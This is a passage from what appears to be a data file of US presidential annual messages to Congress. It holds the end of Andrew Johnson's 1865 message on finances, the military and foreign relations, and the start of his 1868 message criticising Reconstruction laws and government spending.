monopolies, which in themselves\nought never to be granted, and which, where they exist, must be\nsubordinate and yield to the Government.The Constitution confers on Congress the right to regulate commerce\namong the several States. It is of the first necessity, for the\nmaintenance of the Union, that that commerce should be free and\nunobstructed. No State can be justified in any device to tax the\ntransit of travel and commerce between States. The position of many\nStates is such that if they were allowed to take advantage of it for\npurposes of local revenue the commerce between States might be\ninjuriously burdened, or even virtually prohibited. It is best, while\nthe country is still young and while the tendency to dangerous\nmonopolies of this kind is still feeble, to use the power of Congress\nso as to prevent any selfish impediment to the free circulation of men\nand merchandise. A tax on travel and merchandise in their transit\nconstitutes one of the worst forms of monopoly, and the evil is\nincreased if coupled with a denial of the choice of route. When the\nvast extent of our country is considered, it is plain that every\nobstacle to the free circulation of commerce between the States ought\nto be sternly guarded against by appropriate legislation within the\nlimits of the Constitution.The report of the Secretary of the Interior explains the condition of\nthe public lands, the transactions of the Patent Office and the Pension\nBureau, the management of our Indian affairs, the progress made in the\nconstruction of the Pacific Railroad, and furnishes information in\nreference to matters of local interest in the District of Columbia. It\nalso presents evidence of the successful operation of the homestead\nact, under the provisions of which 1,160,533 acres of the public lands\nwere entered during the last fiscal year--more than one-fourth of the\nwhole number of acres sold or otherwise disposed of during that period.\nIt is estimated that the receipts derived from this source are\nsufficient to cover the expenses incident to the survey and disposal of\nthe lands entered under this act, and that payments in cash to the\nextent of from 40 to 50 per cent will be made by settlers who may thus\nat any time acquire title before the expiration of the period at which\nit would otherwise vest. The homestead policy was established only\nafter long and earnest resistance; experience proves its wisdom. The\nlands in the hands of industrious settlers, whose labor creates wealth\nand contributes to the public resources, are worth more to the United\nStates than if they had been reserved as a solitude for future\npurchasers.The lamentable events of the last four years and the sacrifices made by\nthe gallant men of our Army and Navy have swelled the records of the\nPension Bureau to an unprecedented extent. On the 30th day of June last\nthe total number of pensioners was 85,986, requiring for their annual\npay, exclusive of expenses, the sum of $8,023,445. The number of\napplications that have been allowed since that date will require a\nlarge increase of this amount for the next fiscal year. The means for\nthe payment of the stipends due under existing laws to our disabled\nsoldiers and sailors and to the families of such as have perished in\nthe service of the country will no doubt be cheerfully and promptly\ngranted. A grateful people will not hesitate to sanction any measures\nhaving for their object the relief of soldiers mutilated and families\nmade fatherless in the efforts to preserve our national existence.The report of the Postmaster-General presents an encouraging exhibit of\nthe operations of the Post-Office Department during the year. The\nrevenues of the past year, from the loyal States alone, exceeded the\nmaximum annual receipts from all the States previous to the rebellion\nin the sum of $6,038,091; and the annual average increase of revenue\nduring the last four years, compared with the revenues of the four\nyears immediately preceding the rebellion, was $3,533,845. The revenues\nof the last fiscal year amounted to $14,556,158 and the expenditures to\n$13,694,728, leaving a surplus of receipts over expenditures of\n$861,430. Progress has been made in restoring the postal service in the\nSouthern States. The views presented by the Postmaster-General against\nthe policy of granting subsidies to the ocean mail steamship lines upon\nestablished routes and in favor of continuing the present system, which\nlimits the compensation for ocean service to the postage earnings, are\nrecommended to the careful consideration of Congress.It appears from the report of the Secretary of the Navy that while at\nthe commencement of the present year there were in commission 530\nvessels of all classes and descriptions, armed with 3,000 guns and\nmanned by 51,000 men, the number of vessels at present in commission is\n117, with 830 guns and 12,128 men. By this prompt reduction of the\nnaval forces the expenses of the Government have been largely\ndiminished, and a number of vessels purchased for naval purposes from\nthe merchant marine have been returned to the peaceful pursuits of\ncommerce. Since the suppression of active hostilities our foreign\nsquadrons have been reestablished, and consist of vessels much more\nefficient than those employed on similar service previous to the\nrebellion. The suggestion for the enlargement of the navy-yards, and\nespecially for the establishment of one in fresh water for ironclad\nvessels, is deserving of consideration, as is also the recommendation\nfor a different location and more ample grounds for the Naval Academy.In the report of the Secretary of War a general summary is given of the\nmilitary campaigns of 1864 and 1865, ending in the suppression of armed\nresistance to the national authority in the insurgent States. The\noperations of the general administrative bureaus of the War Department\nduring the past year are detailed and an estimate made of the\nappropriations that will be required for military purposes in the\nfiscal year commencing the 1st day of July, 1866. The national military\nforce on the 1st of May, 1865, numbered 1,000,516 men. It is proposed\nto reduce the military establishment to a peace footing, comprehending\n50,000 troops of all arms, organized so as to admit of an enlargement\nby filling up the ranks to 82,600 if the circumstances of the country\nshould require an augmentation of the Army. The volunteer force has\nalready been reduced by the discharge from service of over 800,000\ntroops, and the Department is proceeding rapidly in the work of further\nreduction. The war estimates are reduced from $516,240,131 to\n$33,814,461, which amount, in the opinion of the Department, is\nadequate for a peace establishment. The measures of retrenchment in\neach bureau and branch of the service exhibit a diligent economy worthy\nof commendation. Reference is also made in the report to the necessity\nof providing for a uniform militia system and to the propriety of\nmaking suitable provision for wounded and disabled officers and\nsoldiers.The revenue system of the country is a subject of vital interest to its\nhonor and prosperity, and should command the earnest consideration of\nCongress. The Secretary of the Treasury will lay before you a full and\ndetailed report of the receipts and disbursements of the last fiscal\nyear, of the first quarter of the present fiscal year, of the probable\nreceipts and expenditures for the other three quarters, and the\nestimates for the year following the 30th of June, 1866. I might\ncontent myself with a reference to that report, in which you will find\nall the information required for your deliberations and decision, but\nthe paramount importance of the subject so presses itself on my own\nmind that I can not but lay before you my views of the measures which\nare required for the good character, and I might almost say for the\nexistence, of this people. The life of a republic lies certainly in the\nenergy, virtue, and intelligence of its citizens; but it is equally\ntrue that a good revenue system is the life of an organized government.\nI meet you at a time when the nation has voluntarily burdened itself\nwith a debt unprecedented in our annals. Vast as is its amount, it\nfades away into nothing when compared with the countless blessings that\nwill be conferred upon our country and upon man by the preservation of\nthe nation's life. Now, on the first occasion of the meeting of\nCongress since the return of peace, it is of the utmost importance to\ninaugurate a just policy, which shall at once be put in motion, and\nwhich shall commend itself to those who come after us for its\ncontinuance. We must aim at nothing less than the complete effacement\nof the financial evils that necessarily followed a state of civil war.\nWe must endeavor to apply the earliest remedy to the deranged state of\nthe currency, and not shrink from devising a policy which, with-out\nbeing oppressive to the people, shall immediately begin to effect a\nreduction of the debt, and, if persisted in, discharge it fully within\na definitely fixed number of years.It is our first duty to prepare in earnest for our recovery from the\never-increasing evils of an irredeemable currency without a sudden\nrevulsion, and yet without untimely procrastination. For that end we\nmust each, in our respective positions, prepare the way. I hold it the\nduty of the Executive to insist upon frugality in the expenditures, and\na sparing economy is itself a great national resource. Of the banks to\nwhich authority has been given to issue notes secured by bonds of the\nUnited States we may require the greatest moderation and prudence, and\nthe law must be rigidly enforced when its limits are exceeded. We may\neach one of us counsel our active and enterprising countrymen to be\nconstantly on their guard, to liquidate debts contracted in a paper\ncurrency, and by conducting business as nearly as possible on a system\nof cash payments or short credits to hold themselves prepared to return\nto the standard of gold and silver. To aid our fellow-citizens in the\nprudent management of their monetary affairs, the duty devolves on us\nto diminish by law the amount of paper money now in circulation. Five\nyears ago the bank-note circulation of the country amounted to not much\nmore than two hundred millions; now the circulation, bank and national,\nexceeds seven hundred millions. The simple statement of the fact\nrecommends more strongly than any words of mine could do the necessity\nof our restraining this expansion. The gradual reduction of the\ncurrency is the only measure that can save the business of the country\nfrom disastrous calamities, and this can be almost imperceptibly\naccomplished by gradually funding the national circulation in\nsecurities that may be made redeemable at the pleasure of the\nGovernment.Our debt is doubly secure--first in the actual wealth and still greater\nundeveloped resources of the country, and next in the character of our\ninstitutions. The most intelligent observers among political economists\nhave not failed to remark that the public debt of a country is safe in\nproportion as its people are free; that the debt of a republic is the\nsafest of all. Our history confirms and establishes the theory, and is,\nI firmly believe, destined to give it a still more signal illustration.\nThe secret of this superiority springs not merely from the fact that in\na republic the national obligations are distributed more widely through\ncountless numbers in all classes of society; it has its root in the\ncharacter of our laws. Here all men contribute to the public welfare\nand bear their fair share of the public burdens. During the war, under\nthe impulses of patriotism, the men of the great body of the people,\nwithout regard to their own comparative want of wealth, thronged to our\narmies and filled our fleets of war, and held themselves ready to offer\ntheir lives for the public good. Now, in their turn, the property and\nincome of the country should bear their just proportion of the burden\nof taxation, while in our impost system, through means of which\nincreased vitality is incidentally imparted to all the industrial\ninterests of the nation, the duties should be so adjusted as to fall\nmost heavily on articles of luxury leaving the necessaries of life as\nfree from taxation as the absolute wants of the Government economically\nadministered will justify. No favored class should demand freedom from\nassessment, and the taxes should be so distributed as not to fall\nunduly on the poor, but rather on the accumulated wealth of the\ncountry. We should look at the national debt just as it is--not as a\nnational blessing, but as a heavy burden on the industry of the\ncountry, to be discharged without unnecessary delay.It is estimated by the Secretary of the Treasury that the expenditures\nfor the fiscal year ending the 30th of June, 1866, will exceed the\nreceipts $112,194,947. It is gratifying, however, to state that it is\nalso estimated that the revenue for the year ending the 30th of June,\n1867, will exceed the expenditures in the sum of $111,682,818. This\namount, or so much as may be deemed sufficient for the purpose, may be\napplied to the reduction of the public debt, which on the 31st day of\nOctober, 1865, was $2,740,854,750. Every reduction will diminish the\ntotal amount of interest to be paid, and so enlarge the means of still\nfurther reductions, until the whole shall be liquidated; and this, as\nwill be seen from the estimates of the Secretary of the Treasury, may\nbe accomplished by annual payments even within a period not exceeding\nthirty years. I have faith that we shall do all this within a\nreasonable time; that as we have amazed the world by the suppression of\na civil war which was thought to be beyond the control of any\ngovernment, so we shall equally show the superiority of our\ninstitutions by the prompt and faithful discharge of our national\nobligations.The Department of Agriculture under its present direction is\naccomplishing much in developing and utilizing the vast agricultural\ncapabilities of the country, and for information respecting the details\nof its management reference is made to the annual report of the\nCommissioner.I have dwelt thus fully on our domestic affairs because of their\ntranscendent importance. Under any circumstances our great extent of\nterritory and variety of climate, producing almost everything that is\nnecessary for the wants and even the comforts of man, make us\nsingularly independent of the varying policy of foreign powers and\nprotect us against every temptation to \"entangling alliances,\" while at\nthe present moment the reestablishment of harmony and the strength that\ncomes from harmony will be our best security against \"nations who feel\npower and forget right.\" For myself, it has been and it will be my\nconstant aim to promote peace and amity with all foreign nations and\npowers, and I have every reason to believe that they all, without\nexception, are animated by the same disposition. Our relations with the\nEmperor of China, so recent in their origin, are most friendly. Our\ncommerce with his dominions is receiving new developments, and it is\nvery pleasing to find that the Government of that great Empire\nmanifests satisfaction with our policy and reposes just confidence in\nthe fairness which marks our intercourse. The unbroken harmony between\nthe United States and the Emperor of Russia is receiving a new support\nfrom an enterprise designed to carry telegraphic lines across the\ncontinent of Asia, through his dominions, and so to connect us with all\nEurope by a new channel of intercourse. Our commerce with South America\nis about to receive encouragement by a direct line of mail steamships\nto the rising Empire of Brazil. The distinguished party of men of\nscience who have recently left our country to make a scientific\nexploration of the natural history and rivers and mountain ranges of\nthat region have received from the Emperor that generous welcome which\nwas to have been expected from his constant friendship for the United\nStates and his well-known zeal in promoting the advancement of\nknowledge. A hope is entertained that our commerce with the rich and\npopulous countries that border the Mediterranean Sea may be largely\nincreased. Nothing will be wanting on the part of this Government to\nextend the protection of our flag over the enterprise of our\nfellow-citizens. We receive from the powers in that region assurances\nof good will; and it is worthy of note that a special envoy has brought\nus messages of condolence on the death of our late Chief Magistrate\nfrom the Bey of Tunis, whose rule includes the old dominions of\nCarthage, on the African coast.Our domestic contest, now happily ended, has left some traces in our\nrelations with one at least of the great maritime powers. The formal\naccordance of belligerent rights to the insurgent States was\nunprecedented, and has not been justified by the issue. But in the\nsystems of neutrality pursued by the powers which made that concession\nthere was a marked difference. The materials of war for the insurgent\nStates were furnished, in a great measure, from the workshops of Great\nBritain, and British ships, manned by British subjects and prepared for\nreceiving British armaments, sallied from the ports of Great Britain to\nmake war on American commerce under the shelter of a commission from\nthe insurgent States. These ships, having once escaped from British\nports, ever afterwards entered them in every part of the world to\nrefit, and so to renew their depredations. The consequences of this\nconduct were most disastrous to the States then in rebellion,\nincreasing their desolation and misery by the prolongation of our civil\ncontest. It had, moreover, the effect, to a great extent, to drive the\nAmerican flag from the sea, and to transfer much of our shipping and\nour commerce to the very power whose subjects had created the necessity\nfor such a change. These events took place before I was called to the\nadministration of the Government. The sincere desire for peace by which\nI am animated led me to approve the proposal, already made, to submit\nthe question which had thus arisen between the countries to\narbitration. These questions are of such moment that they must have\ncommanded the attention of the great powers, and are so interwoven with\nthe peace and interests of every one of them as to have insured an\nimpartial decision. I regret to inform you that Great Britain declined\nthe arbitrament, but, on the other hand, invited us to the formation of\na joint commission to settle mutual claims between the two countries,\nfrom which those for the depredations before mentioned should be\nexcluded. The proposition, in that very unsatisfactory form, has been\ndeclined.The United States did not present the subject as an impeachment of the\ngood faith of a power which was professing the most friendly\ndispositions, but as involving questions of public law of which the\nsettlement is essential to the peace of nations; and though pecuniary\nreparation to their injured citizens would have followed incidentally\non a decision against Great Britain, such compensation was not their\nprimary object. They had a higher motive, and it was in the interests\nof peace and justice to establish important principles of international\nlaw. The correspondence will be placed before you. The ground on which\nthe British minister rests his justification is, substantially, that\nthe municipal law of a nation and the domestic interpretations of that\nlaw are the measure of its duty as a neutral, and I feel bound to\ndeclare my opinion before you and before the world that that\njustification can not be sustained before the tribunal of nations. At\nthe same time; I do not advise to any present attempt at redress by\nacts of legislation. For the future, friendship between the two\ncountries must rest on the basis of mutual justice.From the moment of the establishment of our free Constitution the\ncivilized world has been convulsed by revolutions in the interests of\ndemocracy or of monarchy, but through all those revolutions the United\nStates have wisely and firmly refused to become propagandists of\nrepublicanism. It is the only government suited to our condition; but\nwe have never sought to impose it on others, and we have consistently\nfollowed the advice of Washington to recommend it only by the careful\npreservation and prudent use of the blessing. During all the\nintervening period the policy of European powers and of the United\nStates has, on the whole, been harmonious. Twice, indeed, rumors of the\ninvasion of some parts of America in the interest of monarchy have\nprevailed; twice my predecessors have had occasion to announce the\nviews of this nation in respect to such interference. On both occasions\nthe remonstrance of the United States was respected from a deep\nconviction on the part of European Governments that the system of\nnoninterference and mutual abstinence from propagandism was the true\nrule for the two hemispheres. Since those times we have advanced in\nwealth and power, but we retain the same purpose to leave the nations\nof Europe to choose their own dynasties and form their own systems of\ngovernment. This consistent moderation may justly demand a\ncorresponding moderation. We should regard it as a great calamity to\nourselves, to the cause of good government, and to the peace of the\nworld should any European power challenge the American people, as it\nwere, to the defense of republicanism against foreign interference. We\ncan not foresee and are unwilling to consider what opportunities might\npresent themselves, what combinations might offer to protect ourselves\nagainst designs inimical to our form of government. The United States\ndesire to act in the future as they have ever acted heretofore; they\nnever will be driven from that course but by the aggression of European\npowers, and we rely on the wisdom and justice of those powers to\nrespect the system of noninterference which has so long been sanctioned\nby time, and which by its good results has approved itself to both\ncontinents.The correspondence between the United States and France in reference to\nquestions which have become subjects of discussion between the two\nGovernments will at a proper time be laid before Congress.When, on the organization of our Government under the Constitution, the\nPresident of the United States delivered his inaugural address to the\ntwo Houses of Congress, he said to them, and through them to the\ncountry and to mankind, that--The preservation of the sacred fire of\nliberty and the destiny of the republican model of government are\njustly considered, perhaps, as deeply, as finally, staked on the\nexperiment intrusted to the hands of the American people. And the House\nof Representatives answered Washington by the voice of Madison: We\nadore the Invisible Hand which has led the American people, through so\nmany difficulties, to cherish a conscious responsibility for the\ndestiny of republican liberty. More than seventy-six years have glided\naway since these words were spoken; the United States have passed\nthrough severer trials than were foreseen; and now, at this new epoch\nin our existence as one nation, with our Union purified by sorrows and\nstrengthened by conflict and established by the virtue of the people,\nthe greatness of the occasion invites us once more to repeat with\nsolemnity the pledges of our fathers to hold ourselves answerable\nbefore our fellow-men for the success of the republican form of\ngovernment. Experience has proved its sufficiency in peace and in war;\nit has vindicated its authority through dangers and afflictions, and\nsudden and terrible emergencies, which would have crushed any system\nthat had been less firmly fixed in the hearts of the people. At the\ninauguration of Washington the foreign relations of the country were\nfew and its trade was repressed by hostile regulations; now all the\ncivilized nations of the globe welcome our commerce, and their\ngovernments profess toward us amity. Then our country felt its way\nhesitatingly along an untried path, with States so little bound\ntogether by rapid means of communication as to be hardly known to one\nanother, and with historic traditions extending over very few years;\nnow intercourse between the States is swift and intimate; the\nexperience of centuries has been crowded into a few generations, and\nhas created an intense, indestructible nationality. Then our\njurisdiction did not reach beyond the inconvenient boundaries of the\nterritory which had achieved independence; now, through cessions of\nlands, first colonized by Spain and France, the country has acquired a\nmore complex character, and has for its natural limits the chain of\nlakes, the Gulf of Mexico, and on the east and the west the two great\noceans. Other nations were wasted by civil wars for ages before they\ncould establish for themselves the necessary degree of unity; the\nlatent conviction that our form of government is the best ever known to\nthe world has enabled us to emerge from civil war within four years\nwith a complete vindication of the constitutional authority of the\nGeneral Government and with our local liberties and State institutions\nunimpaired.The throngs of emigrants that crowd to our shores are witnesses of the\nconfidence of all peoples in our permanence. Here is the great land of\nfree labor, where industry is blessed with unexampled rewards and the\nbread of the workingman is sweetened by the consciousness that the\ncause of the country \"is his own cause, his own safety, his own\ndignity.\" Here everyone enjoys the free use of his faculties and the\nchoice of activity as a natural right. Here, under the combined\ninfluence of a fruitful soil, genial climes, and happy institutions,\npopulation has increased fifteen-fold within a century. Here, through\nthe easy development of boundless resources, wealth has increased with\ntwofold greater rapidity than numbers, so that we have become secure\nagainst the financial vicissitudes of other countries and, alike in\nbusiness and in opinion, are self-centered and truly independent. Here\nmore and more care is given to provide education for everyone born on\nour soil. Here religion, released from political connection with the\ncivil government, refuses to subserve the craft of statesmen, and\nbecomes in its independence the spiritual life of the people. Here\ntoleration is extended to every opinion, in the quiet certainty that\ntruth needs only a fair field to secure the victory. Here the human\nmind goes forth unshackled in the pursuit of science, to collect stores\nof knowledge and acquire an ever-increasing mastery over the forces of\nnature. Here the national domain is offered and held in millions of\nseparate freeholds, so that our fellow-citizens, beyond the occupants\nof any other part of the earth, constitute in reality a people. Here\nexists the democratic form of government; and that form of government,\nby the confession of European statesmen, \"gives a power of which no\nother form is capable, because it incorporates every man with the state\nand arouses everything that belongs to the soul.\"Where in past history does a parallel exist to the public happiness\nwhich is within the reach of the people of the United States? Where in\nany part of the globe can institutions be found so suited to their\nhabits or so entitled to their love as their own free Constitution?\nEvery one of them, then, in whatever part of the land he has his home,\nmust wish its perpetuity. Who of them will not now acknowledge, in the\nwords of Washington, that \"every step by which the people of the United\nStates have advanced to the character of an independent nation seems to\nhave been distinguished by some token of providential agency\"? Who will\nnot join with me in the prayer that the Invisible Hand which has led us\nthrough the clouds that gloomed around our path will so guide us onward\nto a perfect restoration of fraternal affection that we of this day may\nbe able to transmit our great inheritance of State governments in all\ntheir rights, of the General Government in its whole constitutional\nvigor, to our posterity, and they to theirs through countless\ngenerations?", 
+    "name": "Andrew Johnson"
+}
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+{
+    "date": "December 9, 1868", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:Upon the reassembling of Congress it again becomes my duty to call your\nattention to the state of the Union and to its continued disorganized\ncondition under the various laws which have been passed upon the\nsubject of reconstruction.It may be safely assumed as an axiom in the government of states that\nthe greatest wrongs inflicted upon a people are caused by unjust and\narbitrary legislation, or by the unrelenting decrees of despotic\nrulers, and that the timely revocation of injurious and oppressive\nmeasures is the greatest good that can be conferred upon a nation. The\nlegislator or ruler who has the wisdom and magnanimity to retrace his\nsteps when convinced of error will sooner or later be rewarded with the\nrespect and gratitude of an intelligent and patriotic people.Our own history, although embracing a period less than a century,\naffords abundant proof that most, if not all, of our domestic troubles\nare directly traceable to violations of the organic law and excessive\nlegislation. The most striking illustrations of this fact are furnished\nby the enactments of the past three years upon the question of\nreconstruction. After a fair trial they have substantially failed and\nproved pernicious in their results, and there seems to be no good\nreason why they should longer remain upon the statute book. States to\nwhich the Constitution guarantees a republican form of government have\nbeen reduced to military dependencies in each of which the people have\nbeen made subject to the arbitrary will of the commanding general.\nAlthough the Constitution requires that each State shall be represented\nin Congress, Virginia, Mississippi, and Texas are yet excluded from the\ntwo Houses, and, contrary to the express provisions of that instrument\nwere denied participation in the recent election for a President and\nVice-President of the United States. The attempt to place the white\npopulation under the domination of persons of color in the South has\nimpaired, if not destroyed, the kindly relations that had previously\nexisted between them: and mutual distrust has engendered a feeling of\nanimosity which leading in some instances to collision and bloodshed,\nhas prevented that cooperation between the two races so essential to\nthe success of industrial enterprise in the Southern States. Nor have\nthe inhabitants of those States alone suffered from the disturbed\ncondition of affairs growing out of these Congressional enactments. The\nentire Union has been agitated by grave apprehensions of troubles which\nmight again involve the peace of the nation; its interests have been\ninjuriously affected by the derangement of business and labor, and the\nconsequent want of prosperity throughout that portion of the country.The Federal Constitution--the magna charta of American rights, under\nwhose wise and salutary provisions we have successfully conducted all\nour domestic and foreign affairs, sustained ourselves in peace and in\nwar, and become a great nation among the powers of the earth--must\nassuredly be now adequate to the settlement of questions growing out of\nthe civil war, waged alone for its vindication. This great fact is made\nmost manifest by the condition of the country when Congress assembled\nin the month of December, 1865. Civil strife had ceased, the spirit of\nrebellion had spent its entire force, in the Southern States the people\nhad warmed into national life, and throughout the whole country a\nhealthy reaction in public sentiment had taken place. By the\napplication of the simple yet effective provisions of the Constitution\nthe executive department, with the voluntary aid of the States, had\nbrought the work of restoration as near completion as was within the\nscope of its authority, and the nation was encouraged by the prospect\nof an early and satisfactory adjustment of all its difficulties.\nCongress, however, intervened, and, refusing to perfect the work so\nnearly consummated, declined to admit members from the unrepresented\nStates, adopted a series of measures which arrested the progress of\nrestoration, frustrated all that had been so successfully accomplished,\nand, after three years of agitation and strife, has left the country\nfurther from the attainment of union and fraternal feeling than at the\ninception of the Congressional plan of reconstruction. It needs no\nargument to show that legislation which has produced such baneful\nconsequences should be abrogated, or else made to conform to the\ngenuine principles of republican government.Under the influence of party passion and sectional prejudice, other\nacts have been passed not warranted by the Constitution. Congress has\nalready been made familiar with my views respecting the\n\"tenure-of-office bill.\" Experience has proved that its repeal is\ndemanded by the best interests of the country, and that while it\nremains in force the President can not enjoin that rigid accountability\nof public officers so essential to an honest and efficient execution of\nthe laws. Its revocation would enable the executive department to\nexercise the power of appointment and removal in accordance with the\noriginal design of the Federal Constitution.The act of March 2, 1867, making appropriations for the support of the\nArmy for the year ending June 30, 1868, and for other purposes,\ncontains provisions which interfere with the President's constitutional\nfunctions as Commander in Chief of the Army and deny to States of the\nUnion the right to protect themselves by means of their own militia.\nThese provisions should be at once annulled; for while the first might,\nin times of great emergency, seriously embarrass the Executive in\nefforts to employ and direct the common strength of the nation for its\nprotection and preservation, the other is contrary to the express\ndeclaration of the Constitution that \"a well-regulated militia being\nnecessary to the security of a free state, the right of the people to\nkeep and bear arms shall not be infringed.\"It is believed that the repeal of all such laws would be accepted by\nthe American people as at least a partial return to the fundamental\nprinciples of the Government, and an indication that hereafter the\nConstitution is to be made the nation's safe and unerring guide. They\ncan be productive of no permanent benefit to the country, and should\nnot be permitted to stand as so many monuments of the deficient wisdom\nwhich has characterized our recent legislation.The condition of our finances demands the early and earnest\nconsideration of Congress. Compared with the growth of our population,\nthe public expenditures have reached an amount unprecedented in our\nhistory.The population of the United States in 1790 was nearly 4,000,000\npeople. Increasing each decade about 33 per cent, it reached in 1860\n31,000,000, an increase of 700 per cent on the population in 1790. In\n1869 it is estimated that it will reach 38,000,000, or an increase of\n868 per cent in seventy-nine years.The annual expenditures of the Federal Government in 1791 were\n$4,200,000; in 1820, $18.200,000; in 1850, forty-one millions; in 1860,\nsixty-three millions; in 1865, nearly thirteen hundred millions; and in\n1869 it is estimated by the Secretary of the Treasury, in his last\nannual report, that they will be three hundred and seventy-two\nmillions.By comparing the public disbursements of 1869, as estimated, with those\nof 1791, it will be seen that the increase of expenditure since the\nbeginning of the Government has been 8,618 per cent, while the increase\nof the population for the same period was only 868 per cent. Again, the\nexpenses of the Government in 1860, the year of peace immediately\npreceding the war, were only sixty--three millions, while in 1869, the\nyear of peace three years after the war it is estimated they will be\nthree hundred and seventy-two millions, an increase of 489 per cent,\nwhile the increase of population was only 21 per cent for the same\nperiod.These statistics further show that in 1791 the annual national\nexpenses, compared with the population, were little more than $1 per\ncapita, and in 1860 but $2 per capita; while in 1869 they will reach\nthe extravagant sum of $9.78 per capita.It will be observed that all these statements refer to and exhibit the\ndisbursements of peace periods. It may, therefore, be of interest to\ncompare the expenditures of the three war periods--the war with Great\nBritain, the Mexican War, and the War of the Rebellion.In 1814 the annual expenses incident to the War of 1812 reached their\nhighest amount--about thirty-one millions--while our population\nslightly exceeded 8,000,000, showing an expenditure of only $3.80 per\ncapita. In 1847 the expenditures growing out of the war with Mexico\nreached fifty-five millions, and the population about 21,000,000,\ngiving only $2.60 per capita for the war expenses of that year. In 1865\nthe expenditures called for by the rebellion reached the vast amount of\ntwelve hundred and ninety millions, which, compared with a population\nof 34,000,000, gives $38.20 per capita.From the 4th day of March, 1789, to the 30th of June, 1861, the entire\nexpenditures of the Government were $1,700,000,000. During that period\nwe were engaged in wars with Great Britain and Mexico, and were\ninvolved in hostilities with powerful Indian tribes; Louisiana was\npurchased from France at a cost of $15,000,000; Florida was ceded to us\nby Spain for five millions; California was acquired from Mexico for\nfifteen millions, and the territory of New Mexico was obtained from\nTexas for the sum of ten millions. Early in 1861 the War of the\nRebellion commenced; and from the 1st of July of that year to the 30th\nof June, 1865, the public expenditures reached the enormous aggregate\nof thirty-three hundred millions. Three years of peace have intervened,\nand during that time the disbursements of the Government have\nsuccessively been five hundred and twenty millions, three hundred and\nforty-six millions, and three hundred and ninety-three millions. Adding\nto these amounts three hundred and seventy-two millions, estimated as\nnecessary for the fiscal year ending the 30th of June, 1869, we obtain\na total expenditure of $1,600,000,000 during the four years immediately\nsucceeding the war, or nearly as much as was expended during the\nseventy-two years that preceded the rebellion and embraced the\nextraordinary expenditures already named.These startling facts clearly illustrate the necessity of retrenchment\nin all branches of the public service. Abuses which were tolerated\nduring the war for the preservation of the nation will not be endured\nby the people, now that profound peace prevails. The receipts from\ninternal revenues and customs have during the past three years\ngradually diminished, and the continuance of useless and extravagant\nexpenditures will involve us in national bankruptcy, or else make\ninevitable an increase of taxes already too onerous and in many\nrespects obnoxious on account of their inquisitorial character. One\nhundred millions annually are expended for the military force, a large\nportion of which is employed in the execution of laws both unnecessary\nand unconstitutional; one hundred and fifty millions are required each\nyear to pay the interest on the public debt: an army of taxgatherers\nimpoverishes the nation, and public agents, placed by Congress beyond\nthe control of the Executive, divert from their legitimate purposes\nlarge sums of money which they collect from the people in the name of\nthe Government. Judicious legislation and prudent economy can alone\nremedy defects and avert evils which, if suffered to exist, can not\nfail to diminish confidence in the public councils and weaken the\nattachment and respect of the people toward their political\ninstitutions. Without proper care the small balance which it is\nestimated will remain in the Treasury at the close of the present\nfiscal year will not be realized, and additional millions be added to a\ndebt which is now enumerated by billions.It is shown by the able and comprehensive report of the Secretary of\nthe Treasury that the receipts for the fiscal year ending June 30,\n1868, were $405,638,083, and that the expenditures for the same period\nwere $377,340,284, leaving in the Treasury a surplus of $28,297,798. It\nis estimated that the receipts during the present fiscal year, ending\nJune 30, 1869, will be $341,392,868 and the expenditures $336,152,470,\nshowing a small balance of $5,240,398 in favor of the Government. For\nthe fiscal year ending June 30, 1870, it is estimated that the receipts\nwill amount to $327,000,000 and the expenditures to $303,000,000,\nleaving an estimated surplus of $24,000,000.It becomes proper in this connection to make a brief reference to our\npublic indebtedness, which has accumulated with such alarming rapidity\nand assumed such colossal proportions.In 1789, when the Government commenced operations under the Federal\nConstitution, it was burdened with an indebtedness of $75,000,000,\ncreated during the War of the Revolution. This amount had been reduced\nto $45,000,000 when, in 1812, war was declared against Great Britain.\nThe three years' struggle that followed largely increased the national\nobligations, and in 1816 they had attained the sum of $127,000,000.\nWise and economical legislation, however, enabled the Government to pay\nthe entire amount within a period of twenty years, and the\nextinguishment of the national debt filled the land with rejoicing and\nwas one of the great events of President Jackson's Administration.\nAfter its redemption a large fund remained in the Treasury, which was\ndeposited for safe-keeping with the several States. on condition that\nit should be returned when required by the public wants. In 1849--the\nyear after the termination of an expensive war with Mexico--we found\nourselves involved in a debt of $64,000,000; and this was the amount\nowed by the Government in 1860, just prior to the outbreak of the\nrebellion. In the spring of 1861 our civil war commenced. Each year of\nits continuance made an enormous addition to the debt: and when in the\nspring of 1865, the nation successfully emerged from the conflict, the\nobligations of the Government had reached the immense sum of\n$2.873,992,909. The Secretary of the Treasury shows that on the 1st day\nof November, 1867, this amount had been reduced to $2,491,504,450; but\nat the same time his report exhibits an increase during the past year\nof $35,625,102, for the debt on the 1st day of November last is stated\nto have been $2,527,129,552. It is estimated by the Secretary that the\nreturns for the past month will add to our liabilities the further sum\nof $11,000,000, making a total increase during thirteen months of\n$46,500,000.In my message to Congress December 4, 1865, it was suggested that a\npolicy should be devised which, without being oppressive to the people,\nwould at once begin to effect a reduction of the debt, and, if\npersisted in, discharge it fully within a definite number of years. The\nSecretary of the Treasury forcibly recommends legislation of this\ncharacter, and justly urges that the longer it is deferred the more\ndifficult must become its accomplishment. We should follow the wise\nprecedents established in 1789 and 1816, and without further delay make\nprovision for the payment of our obligations at as early a period as\nmay be practicable. The fruits of their labors should be enjoyed by our\ncitizens rather than used to build up and sustain moneyed monopolies in\nour own and other lands. Our foreign debt is already computed by the\nSecretary of the Treasury at $850,000,000; citizens of foreign\ncountries receive interest upon a large portion of our securities, and\nAmerican taxpayers are made to contribute large sums for their support.\nThe idea that such a debt is to become permanent should be at all times\ndiscarded as involving taxation too heavy to be borne, and payment once\nin every sixteen years, at the present rate of interest, of an amount\nequal to the original sum. This vast debt, if permitted to become\npermanent and increasing, must eventually be gathered into the hands of\na few, and enable them to exert a dangerous and controlling power in\nthe affairs of the Government. The borrowers would become servants to\nthe lenders, the lenders the masters of the people. We now pride\nourselves upon having given freedom to 4,000,000 of the colored race;\nit will then be our shame that 40,000,000 of people, by their own\ntoleration of usurpation and profligacy, have suffered themselves to\nbecome enslaved, and merely exchanged slave owners for new taskmasters\nin the shape of bondholders and taxgatherers. Besides, permanent debts\npertain to monarchical governments, and, tending to monopolies,\nperpetuities, and class legislation, are totally irreconcilable with\nfree institutions introduced into our republican system, they would\ngradually but surely sap its foundations, eventually subvert our\ngovernmental fabric, and erect upon its ruins a moneyed aristocracy. It\nis our sacred duty to transmit unimpaired to our posterity the\nblessings of liberty which were bequeathed to us by the founders of the\nRepublic. and by our example teach those who are to follow us 